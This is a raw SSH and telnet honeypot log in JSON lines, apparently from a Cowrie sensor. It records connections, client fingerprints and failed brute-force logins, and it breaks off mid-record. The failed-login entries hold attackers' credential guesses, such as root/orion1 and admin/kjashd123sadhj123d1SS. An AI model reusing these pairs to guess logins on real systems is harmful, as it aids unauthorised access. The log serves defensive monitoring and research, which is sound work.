{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59566,"dst_ip":"10.17.0.5","dst_port":22,"session":"fff78fb26164","protocol":"ssh","message":"New connection: 103.176.20.57:59566 (10.17.0.5:22) [session: fff78fb26164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:07.153770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:07.159346Z","src_ip":"103.176.20.57","session":"fff78fb26164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:07.407808Z","src_ip":"103.176.20.57","session":"fff78fb26164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orion1","message":"login attempt [root/orion1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:08.163144Z","src_ip":"103.176.20.57","session":"fff78fb26164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:09.413818Z","src_ip":"103.176.20.57","session":"fff78fb26164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.152.204.159","src_port":41026,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce634e0913ea","protocol":"ssh","message":"New connection: 202.152.204.159:41026 (159.203.135.109:22) [session: ce634e0913ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:17.201350Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:17.207571Z","src_ip":"202.152.204.159","session":"ce634e0913ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":38008,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa833627a4c5","protocol":"ssh","message":"New connection: 4.213.224.194:38008 (10.17.0.5:22) [session: fa833627a4c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:20.825495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:20.829496Z","src_ip":"4.213.224.194","session":"fa833627a4c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:21.023417Z","src_ip":"4.213.224.194","session":"fa833627a4c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test-user","password":"test-user","message":"login attempt [test-user/test-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:21.835633Z","src_ip":"4.213.224.194","session":"fa833627a4c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:23.034538Z","src_ip":"4.213.224.194","session":"fa833627a4c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.416650533676147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:31.917107Z","src_ip":"166.62.124.255","session":"f82e0b243199","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":56550,"dst_ip":"159.203.135.109","dst_port":22,"session":"67963e6edf55","protocol":"ssh","message":"New connection: 2.57.122.238:56550 (159.203.135.109:22) [session: 67963e6edf55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:33.813761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:33.818739Z","src_ip":"2.57.122.238","session":"67963e6edf55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:33.915052Z","src_ip":"2.57.122.238","session":"67963e6edf55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:34.206479Z","src_ip":"2.57.122.238","session":"67963e6edf55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:35.306539Z","src_ip":"2.57.122.238","session":"67963e6edf55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":41088,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdb2f6ea15e2","protocol":"ssh","message":"New connection: 77.94.47.83:41088 (159.203.135.109:22) [session: fdb2f6ea15e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:37.183429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:37.189904Z","src_ip":"77.94.47.83","session":"fdb2f6ea15e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:37.299926Z","src_ip":"77.94.47.83","session":"fdb2f6ea15e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199313","message":"login attempt [root/199313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:37.720960Z","src_ip":"77.94.47.83","session":"fdb2f6ea15e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:38.840843Z","src_ip":"77.94.47.83","session":"fdb2f6ea15e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56272,"dst_ip":"159.203.135.109","dst_port":23,"session":"b930261cb1da","protocol":"telnet","message":"New connection: 172.81.62.90:56272 (159.203.135.109:23) [session: b930261cb1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:50.561198Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.221.196.103","src_port":47132,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0533384e345","protocol":"ssh","message":"New connection: 211.221.196.103:47132 (159.203.135.109:22) [session: e0533384e345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:20.747473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:20.751734Z","src_ip":"211.221.196.103","session":"e0533384e345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:20.962193Z","src_ip":"211.221.196.103","session":"e0533384e345","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kjashd123sadhj123d1SS","message":"login attempt [root/kjashd123sadhj123d1SS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:21.598802Z","src_ip":"211.221.196.103","session":"e0533384e345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:22.809022Z","src_ip":"211.221.196.103","session":"e0533384e345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.221.196.103","src_port":48530,"dst_ip":"159.203.135.109","dst_port":22,"session":"def4b5aa3be1","protocol":"ssh","message":"New connection: 211.221.196.103:48530 (159.203.135.109:22) [session: def4b5aa3be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:23.019532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:23.035494Z","src_ip":"211.221.196.103","session":"def4b5aa3be1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:23.240731Z","src_ip":"211.221.196.103","session":"def4b5aa3be1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"kjashd123sadhj123d1SS","message":"login attempt [admin/kjashd123sadhj123d1SS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:23.858162Z","src_ip":"211.221.196.103","session":"def4b5aa3be1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":43520,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e249cf15572","protocol":"ssh","message":"New connection: 27.71.230.31:43520 (10.17.0.5:22) [session: 8e249cf15572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:24.123562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:24.164966Z","src_ip":"27.71.230.31","session":"8e249cf15572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:24.398187Z","src_ip":"27.71.230.31","session":"8e249cf15572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:25.065091Z","src_ip":"211.221.196.103","session":"def4b5aa3be1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":44032,"dst_ip":"10.17.0.5","dst_port":22,"session":"11ecac33b955","protocol":"ssh","message":"New connection: 123.58.215.196:44032 (10.17.0.5:22) [session: 11ecac33b955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:25.174567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:25.187155Z","src_ip":"123.58.215.196","session":"11ecac33b955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.221.196.103","src_port":49864,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bdc3436ed2f","protocol":"ssh","message":"New connection: 211.221.196.103:49864 (159.203.135.109:22) [session: 7bdc3436ed2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:25.272199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:25.282984Z","src_ip":"211.221.196.103","session":"7bdc3436ed2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:25.402241Z","src_ip":"123.58.215.196","session":"11ecac33b955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","h